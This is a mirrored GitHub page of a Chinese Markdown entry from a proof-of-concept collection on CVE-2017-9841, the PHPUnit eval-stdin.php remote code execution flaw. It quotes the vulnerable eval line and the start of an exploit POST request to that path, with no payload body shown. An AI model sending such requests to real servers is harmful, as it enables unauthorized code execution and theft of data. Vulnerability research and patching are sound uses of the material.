mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-05 02:37:58 +00:00
33 lines
604 B
Markdown
33 lines
604 B
Markdown
|
# PHPUnit eval-stdin.php 远程命令执行漏洞 CVE-2017-9841
|
||
|
|
|
||
|
|
## 漏洞描述
|
||
|
|
|
||
|
|
PHPUnit5.6.3 之前的版本，存在一处远程代码执行漏洞，利用漏洞可以获取服务器敏感信息及权限。
|
||
|
|
|
||
|
|
## 漏洞影响
|
||
|
|
|
||
|
|
```
|
||
|
|
PHPUnit < 5.6.3
|
||
|
|
```
|
||
|
|
|
||
|
|
## 漏洞复现
|
||
|
|
|
||
|
|
漏洞位于 /phpunit/src/Util/PHP/eval-stdin.php
|
||
|
|
|
||
|
|
其中关键代码为:
|
||
|
|
|
||
|
|
```plain
|
||
|
|
eval('?>'.file_get_contents('php://input'));
|
||
|
|
```
|
||
|
|
|
||
|
|
发送如下请求包执行 PHP 代码
|
||
|
|
|
||
|
|
```plain
|
||
|
|
POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
|
||
|
|
Host:
|
||
|
|
Content-Length: 21
|
||
|
|
Accept-Encoding: gzip
|
||
|
|
```
|
||
|
|
|
||
|
|
|